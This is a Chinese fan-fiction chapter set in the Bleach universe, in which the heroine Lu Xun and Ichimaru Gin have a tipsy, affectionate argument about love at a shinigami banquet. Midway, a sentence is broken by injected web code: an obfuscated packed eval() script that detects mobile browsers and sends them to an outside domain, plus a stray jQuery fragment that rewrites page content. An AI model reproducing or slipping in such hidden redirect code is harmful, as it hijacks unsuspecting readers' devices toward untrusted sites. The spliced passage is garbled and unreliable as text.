*
她应该……没理解错吧?
至少按照蓝染队长那套谜语人理论,结合她修炼多年的阅读理解能力,这个答案的正确率起码有51%!
……
好吧,可能掺了点水分,但四舍五入还是她稳赢!
老天爷,她上辈子可没蒙对过几道题,这次怎么也该轮到她中奖了吧?
陆荨松开他的领口,转身去摸酒杯,又灌了一口。
“你这是什么酒?还挺上头……”她用手肘撞了撞身旁人,“再来一杯……”
碰到他的瞬间,才发现市丸银还僵在原地。
那双总是眯着的狐狸眼微微睁大,正用一种难以置信的眼神盯着她。
……
几个意思?
被她当面戳穿“超爱她”就这么难以接受?!
“你这表情很伤人哎!”陆荨立即发动一套军体拳往他胳膊上招呼,“被说爱我很丢脸吗?”
市丸银终于回神,单手扣住她行凶的手腕,目光幽幽地瞥向不远处那个身后印着“五”字羽织的背影。
前方的蓝染像是感受到了他的目光,恰到好处地回过头,镜片寒光一闪,嘴角勾起一抹微笑。
“拿这种话来哄小孩……”他轻笑一声,指尖还扣在她腕间,“蓝染队长,真是坏心眼啊……”
“……”
陆荨不满地看了他一眼。
“少给我转移话题!”酒壮怂人胆,她竟然敢直接上手锁喉,凶巴巴地晃他:“快说!到底爱不爱我?”
“爱我就大声说出来。”
“不爱我……”她眯起眼睛,恶狠狠地威胁:“就当场表演个托马斯回旋,让我乐呵乐呵。”
“荨……”市丸银眉梢一挑,非但没躲,反而顺势凑近。
呼吸扫过她耳廓,嗓音压得极低:
“你确定要在这种地方……”
“讨论这个?”
陆荨环顾四周,瞬间愣住。
周围死神们看似在喝酒闲聊,实则个个竖着耳朵,眼神疯狂往这边瞟,连下酒菜都忘了夹。
连最老实巴交的吉良都“不小心”掉了筷子,但翘起的呆毛完全暴露了偷听意图。
……
你们是护廷十三队还是八卦记者团啊?!
有没有点死神该有的职业素养啊!
陆荨触电般缩回手,正襟危坐。
现在假装无事发生还来得及吗?要不……吟诗一首?
……算了,那太假了。
吃瓜死神们见这边火药味骤降,顿时作鸟兽散,转战中央长桌寻找新乐子。
毕竟比起情侣吵架,还是等着看摸鱼的京乐队长被伊势副队长当众抓包更有意思。
市丸银慢条斯理地抚平被她扯得皱巴巴的衣襟,语气散漫:“都在一起了,还纠结这些?”
“这是原则问题!”陆荨把酒杯往案几上重重一放,开启恋爱专家模式:“恋爱是需要仪式感的!你懂不懂什么叫浪漫?懂不懂什么叫……”
“哦呀?”他歪着头,明明在笑却让人脊背发凉,“我难道……没让荨满意?”
暧昧的话语裹着清酒香气扑在耳畔,某些深夜加练的禁忌画面突然攻击她的大脑。
“限、限制级项目另算!”陆荨的耳朵以肉眼可见的速度红透,但又立刻板起脸强撑气势,“但正经恋爱流程呢?”
她掰着手指数落,“别人恋爱都是从一束花开始。告白、约会、纪念日样样不落。”
手指陡然调转方向,直戳市丸银胸口:“而你,我的男朋友——”
“没送过花!没说过喜欢我!还白嫖我当了半年家政阿姨!”
她痛心疾首地总结,“市丸队长,您难道是骗财骗色的流氓吗?”
“啊啊~”
市丸银往后一仰,任由银发凌乱地蹭在领口,露出“又开始了”的疲惫表情。
“死神也要学现世小鬼玩过家家吗?”
他偏过头,借着夜色,藏住眼底一闪而过的阴郁。
樱花无声飘落,落在二人的肩头。
“暖床还是家政?”
她那晚脱口而出的这句话,至今仍如淬毒的短刀,卡在心脏深处,随着每一次呼吸隐隐作痛。
他理解不了她对“家”的执念。
他生于流魂街最荒芜的角落,那里没有“家”。
或许……很久以前,和乱菊挤在那勉强遮风挡雨的废墟的那段日子,勉强能算作“家”。
但后来,他亲手斩断了那点微弱的联系。
即使成为死神,跻身高位,他对那些贵族们趋之若鹜的华美宅邸也始终提不起半分兴致。
选中那间破败的院落,不过是因为那几株歪斜的柿子树,让他想起幼时偷摘果子的日子。
百年来,他像一缕游魂,刻意不在任何地方留下痕迹。队舍也好,宅院也罢,不过是个临时歇脚的屋檐。
迟早要离开的地方,不值得倾注任何感情。
……
直到她出现。
直到她阴差阳错地闯进来,把那个冰冷的屋子,一点点填满温度。
落满灰尘的角落变得一尘不染,玄关开始出现带着晨露的野花。深夜归来时,总有一盏暖黄的灯亮着。
她会在任何一个地方打滚耍赖,会抱着抱枕睡得四仰八叉,会在他晚归时迷迷糊糊地嘟囔一句:
“你回来啦……”
原来微光也能点亮漫长无边的夜。
他第一次模糊地理解了,为什么有人会把某个地方称为“家”。
……
可她就这样搬走了。
干脆利落,连声招呼都不打。仿佛那些共同度过的日夜,不过是场随时可以抽身的游戏。
他悄悄把她放到最珍重的位置,可她皱着眉头指责他“不用心”。
……
还要怎么用心?
他连『神枪』都交给她把玩了。
从不离身的斩魄刀,他从未让其他人真正触碰过,却任由她指尖轻柔摩挲。
想到她或许在等,再血腥的任务结束,他也会撑着满身疲惫回去。
有时只是沉默地坐在她身旁,听她絮絮叨叨抱怨四十六室的文书。
或是怕血腥气惊扰她的美梦,就只靠在门边,看她毫无睡相地卷走全部被子,在梦里咕哝着踹翻枕头。
奇怪的是,有她在的地方,连空气都变得柔软。
这些琐碎到不值一提的时刻,却是他漫长生命里,为数不多能让他真正放松的时光。
这些……都不作数吗?
更可笑的是,他像是被她驯化般,哪怕她走了还是习惯性望向空荡的玄关。
那盏不会再亮的灯,刺眼得让他心烦。
……
好一阵,市丸银才悠悠地开口:
“所以,就因为我没陪你玩那些恋爱游戏……”他嗓音拖得绵长,像是厌倦,又像是自嘲:
“你就这么轻易地……给我定罪?”
陆荨呼吸一滞。
下意识咬住下唇,声音闷在喉咙里:“都说了是气话……不作数的。”
倔强如她,还是忍不住小声补了一句:“……虽然我确实讨厌你总是一副无所谓的样子。”
“无所谓?”市丸银倏地转头看向她。
清酒的苦涩混着他的呼吸,沉沉地压过来。
他的语调很轻,却像一把钝刀磨进血肉:
“凭什么。”
“单方面认定我‘无所谓’?”
他的眼睛完全睁开,眸光锐利如刀,像是要剖开她的心脏,看看里面到底装了多少对他的误解。
“我的态度……”他逼近一步,呼吸扫过她的鼻尖,“你真的一点都感受不到?”
陆荨被那眼神钉在原地,磕磕绊绊地辩解:“也、也不是完全没感觉……”
他确实总爱逗她,欺负她,用各种恶劣手段看她跳脚炸毛。
可真正伤她的事,他从来都没做过。
但恋人的心,是这世上最奢侈、最昂贵的珍宝。
她明明知道不该贪心,却还是忍不住想要据为己有。
想要确认他的目光是否只为她停留。
想要他清清楚楚、明明白白地告诉她,她在他心里,究竟是一时兴起,还是非她不可?
可他永远像迷雾中的月亮。
看似触手可及,实则隔着一整片冰冷的夜色。
读不懂,猜不透,太费脑子了!
“吨吨吨!”
想到这些,陆荨又给自己灌了一大口。
“荨……”
市丸银轻哼一声,转身给自己斟酒,“平时装得乖顺……”
他抬眸,唇角勾起一抹似笑非笑的弧度,对她宣判道:
“其实一旦达不到目的,就开始对我发脾气呢。”
……
ber,谁才是吐槽役?
什么时候轮到他来控场了?!
而且辩论赛明明都结束了,她怎么还在输?!
但……
他垂眸喝酒的样子……眼睫低垂,银发散乱,喉结随着吞咽轻轻滚动,居然真有几分落寞。
……真的被伤到了?
等等,不能心软。
快醒醒陆荨!
这绝对是战术性示弱!是狐狸的千层套路!
……可他看起来好难过啊。
果然是她上次那句“暖床还是家政”说得太重了?
难不成真是她的错?
她隐隐感觉哪里不对,但酒精彻底攻陷了理智高地,她忍不住化身自爆卡车低吼着:
“因为……我想让你多爱我一点啊!”
她被呛得眼眶通红,却还要倔强瞪他:“每次都是我主动!我表白!我掏心掏肺!我当田螺姑娘!”
正要乘胜追击,却被一个不合时宜的酒嗝打断,气势顿时垮掉大半,弱弱地补充:“而你……连句好听的都没有……”
“我会觉得自己像个倒贴的傻子……”她声音渐渐低了下去,带着几分委屈,最后化作一声带着酒气的嘟囔,“……王八蛋。”
市丸银微微一怔,指尖轻颤。
待她发泄完,他才缓缓伸出手,冰凉指节轻轻蹭过她泛红的眼角。
“说这种话……”他的声音轻得几乎要被风吹散,像叹气般,罕见的柔软,“我会伤心的。”
银发垂落,遮住了他难得示弱的表情。
“我和荨不一样……”他的指尖顺着她的脸颊滑下,轻轻捻起她肩头的那片落樱,
“有些话……不能够宣之于口。”
……
什么话?
陆荨盯着他碾碎花瓣的手指,突然有点想笑。
意思是她就该像个复读机似的整天“我爱你”“我想你”地给他提供情绪价值,而他只需要轻飘飘一句“说不出口”就能轻松揭过?
当男人真好,她也想报名试试。
清酒的后劲冲得她头晕目眩,陆荨仍不死心地追问道:“那我在你心里有多重要?”
伸出小拇指,指尖微微翘起,比了一丢丢的距离:“有这么多吗?”
她眼底明晃晃闪着凶光,敢说没有他真死定了!
市丸银轻笑一声,摇摇头,握住她的手指,缓缓往下比了一大截:
“很多。”
他的声音很轻,却生生烙进她耳膜里,像是无可奈何的叹息:
“重要到……连我自己都觉得麻烦的地步。”
他的眸光变得晦暗。像是深不见底的幽潭,终于掀起一丝波澜。
……
“麻烦?!”
陆荨,酒精脑袋过载中。
她可是专业级家政鬼才,高素质情感陪护,就连他那堆需要打满圣光的恶趣味play她都含泪配合演出了。
简直是能勇夺尸魂界“十佳女友”的种子选手!
就这配置,他居然说……麻烦?
重要到……麻烦。
……
陆荨的瞳孔剧烈震颤,脑内瞬间炸开无数烟花。
……
……
……
“呜……!”
她终于理解恋爱番女主为什么总捂脸,因为此刻她的手指已经不受控制地一下捂住了自己发烫的脸颊。
要命了。
他这话和求婚有什么区别?!
她是不是应该立刻回一句“我愿意”然后当场掏出婚姻届?
冷静点陆荨!你可是尸魂界新生代独立女性代表!
但是……可恶可恶可恶!
这只恶劣狐狸说起情话来怎么这么带感?!
根本是精准狙击她的心巴,直击红心!十环满分!
救救救!这谁顶得住啊!
她现在满脑子都是扑上去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981826|177962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲他两口的冲动……会不会显得太饥渴?
可是……他们确实很久没腻在一起了……
市丸银饶有兴致地欣赏着她五彩斑斓的神色,笑眼弯成月牙:“就这么开心?”
!!!
这还用问?!
她开心得左脚踩右脚都能螺旋升天了好吗?!
陆荨强压着心脏的狂跳,从指缝里漏出闷闷的声音,狐疑道:“突然这么殷勤……该不会挖了什么坑等我跳吧?”
“是哦~”市丸银卷起她一缕头发把玩,笑得人畜无害:“蓝染队长不是提点你了吗?我这里是超~恶劣的陷阱哦……”
“我跳。”
陆荨一秒放下手,板起小脸,严肃得仿佛已经签下恋爱生死状。
市丸银眉梢微挑,眼底闪过一丝意外:“明知道是陷阱也跳?”
“那当然!”她双手合十,眼睛亮晶晶的,宛如虔诚的信徒面对神龛,“请务必让我跳一辈子!”
……
沉默。
预想中的嘲讽没来,陆荨悄悄抬眼,却发现市丸银并未挂那副戏谑的笑。
他只是深深地看着她,瞳孔里翻涌着她读不懂的情绪:
“……是你说的,要一辈子哦。”
他指尖松开那缕发丝,转而捏了捏她的耳垂,眼神死死地盯住她,像是要将她此刻的模样刻进心底:
“已经不能反悔了哦。”
指腹摩挲的触感让陆荨浑身一激灵,她稍稍扭头躲了下:“很痒啊……”
这家伙绝对在酝酿什么坏心思。
她又不是傻瓜,怎么可能听不出他话里的弦外之音。
更别提他现在这副表情。
比起平日里散漫轻佻的狐狸样,此刻的他,眼底暗潮翻涌,更像是那种分手后会把前任锁进地下室的阴湿病娇。
但那又能怎样?
没有人能拒绝刚说完情话的狐狸。
尤其是她。
对市丸银抵抗力为零的渣渣,认命吧陆荨!
酒精烧得她脸颊发烫,连带着脑袋都变得酥麻。
“那个……”陆荨绞着袖口。她张了张嘴,话到舌尖打了个转,又被咽回。
最终以一种自暴自弃的气势脱口而出:“你……要不要去我那儿?”
草。
这是什么糟糕台词?
她现在完全像个馋得不行的渣女,还是刚喝了两杯清酒就敢当街拽人领口调戏的那种。
但、但这很正常吧?
都谈恋爱了!成年人诚实地提出邀约有什么问题!
她只是遵循生物本能而已!
市丸银微微眯起眼,嘴角勾起,笑容里掺了几分揶揄:“不从一束花开始了?”
……
他居然还记着这茬!
“咳咳……”陆荨猛地呛了一下。
随即板起脸,试图拿出官方腔调掩饰不轨之心:“事宜从急,我认为可以暂时搁置争议……”
去他的恋爱形式!她现在只想立刻马上品尝爱情的甜蜜!
“小荨!”
一道甜美声线突然杀出,陆荨猛地浑身一僵。
“……啊?”
不是吧?!
雏森小姐!为什么偏偏是现在?!
她人生第一次鼓起勇气主动邀约过夜,眼看就要得手,结果就要惨遭截胡?
陆荨耳尖瞬间烧红,恨不得当场挖个洞把自己埋了。
雏森桃小跑过来,先礼貌地对市丸银欠身:“失礼了,市丸队长。”
随即对陆荨眨眨眼:“京乐队长终于现身了,蓝染队长让我来请您过去打招呼呢。”
啊对……宴会主家。
她这个蹭吃蹭喝的关系户确实该去刷个脸。
陆荨偷瞄市丸银,小声问:“你去吗?
对方则是懒洋洋地摇头:“我刚到的时候就和京乐队长打过招呼了哦~”
……哇!
这早就完成社交KPI的从容感!社交达人了不起啊!
“哦……”她悻悻地应了一声,看了眼远处热闹的人群,又拽了拽他的袖子,眼神湿漉漉地:
“那你等我,我去打个招呼,很快就回!”
绝对要速战速决!
三分钟!
不,一分钟!
市丸银微微颔首,垂眸看着她搭在自己腿上的外袍一寸寸抽离。
他其实很少这样目送她离开。
记忆里几乎全是她追在自己身后的画面。
踮着脚,仰着脸,用那种亮晶晶的眼神看他,仿佛他是她小小宇宙里唯一值得追逐的星辰。
而现在,轮到他留在原地,看着她走向热闹的人群。
……原来被留下是这种感觉。
胸腔里的心脏突然跳得发疼。
为这个说话能气死他,却又三言两语就能把他哄好的人。
好想拽住她的手腕扯回来。
好想现在就吻住那张总说话气人的嘴。
好想……
最终,他只是松开了紧握的手。
像她曾经无数次那样,安静地,等待。
……
……
……
市丸银慢悠悠地喝完了第三壶酒,才后知后觉地意识到,陆荨竟然也会对他说敷衍话了。
他不想像个患得患失的毛头小子一样眼巴巴盯着,可这“很快就回”未免久得有些离谱。
最终,他还是不动声色地抬眸,借着死神卓越的视力,远远望向宴会中央。
那个信誓旦旦让他等的人,此刻正被一群眼熟的同僚团团围住,举着酒杯笑得没心没肺。
她坐在雏森身边,脸颊微红,眉眼弯弯,像个被哄两句就找不到北的笨蛋,仰头一口闷掉杯中的酒。
……
浮竹是什么时候站到她身后的?又在跟她玩那套“长辈式关心”的把戏了。
呵。
指尖悄悄捏紧了酒杯,瓷白的杯壁隐隐发出细微的裂响。
他顿了顿,轻叹一声,又缓缓松开手。
算了。
等她回来再算账。
“啪!”
一只酒杯突然落在他面前。
松本乱菊带着一身酒气在他对面坐下,脸颊泛着红晕,金橘色长发有些凌乱地散在肩头。
她撑着下巴,笑得促狭:“怎么,被小女友抛弃了?”